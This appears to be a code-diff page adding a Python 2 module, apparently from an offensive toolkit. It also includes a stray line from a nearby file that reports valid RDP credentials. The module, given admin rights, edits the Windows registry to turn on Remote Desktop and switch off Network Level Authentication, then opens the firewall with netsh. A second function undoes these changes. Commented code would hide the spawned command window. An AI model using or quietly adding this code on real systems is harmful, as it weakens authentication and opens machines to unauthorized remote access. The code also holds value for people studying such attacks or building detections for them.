|
print "[+] Valid RDP credentials"
|
||||||
|
|
|
@ -0,0 +1,75 @@
|
||||||
|
from _winreg import *
|
||||||
|
import ctypes
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
def check_if_admin():
|
||||||
|
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
||||||
|
|
||||||
|
def setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
try:
|
||||||
|
aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
|
||||||
|
SetValueEx(aKey, regPath, 0, REG_DWORD, value)
|
||||||
|
CloseKey(aKey)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
|
||||||
|
aReg = ConnectRegistry(None, root)
|
||||||
|
|
||||||
|
if not setRegValue(aReg, keyPath, regPath, value):
|
||||||
|
CloseKey(aReg)
|
||||||
|
return False
|
||||||
|
|
||||||
|
CloseKey(aReg)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def executeCmd(cmd):
|
||||||
|
command=['cmd.exe', '/c'] + cmd.split()
|
||||||
|
res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# info=subprocess.STARTUPINFO()
|
||||||
|
# info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
|
||||||
|
# info.wShowWindow=subprocess.SW_HIDE
|
||||||
|
# p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
|
||||||
|
# results, _=p.communicate()
|
||||||
|
return res
|
||||||
|
|
||||||
|
def enable_rdp():
|
||||||
|
# enable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 0):
|
||||||
|
# disable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 0):
|
||||||
|
# adding a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=enable'
|
||||||
|
# cmd = 'netsh advfirewall firewall set rule group="Bureau à distance" new enable=Yes'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP enabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to add new firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
def disable_rdp():
|
||||||
|
# disable RDP
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 'fDenyTSConnections', 1):
|
||||||
|
# enable NLA authentication
|
||||||
|
if modifyKey(r"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1):
|
||||||
|
# removing a firewall rule
|
||||||
|
cmd = 'netsh firewall set service type=remotedesktop mod=disable'
|
||||||
|
r = executeCmd(cmd)
|
||||||
|
if 'ok' in r.lower():
|
||||||
|
print '[+] RDP disabled'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to remove the rdp firewall rule'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to disable NLA authentication'
|
||||||
|
else:
|
||||||
|
print '[-] Failed to change the rdp key'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# www.vladan.fr/multiple-rdp-sessions-on-windows/
|
Loading…
Reference in New Issue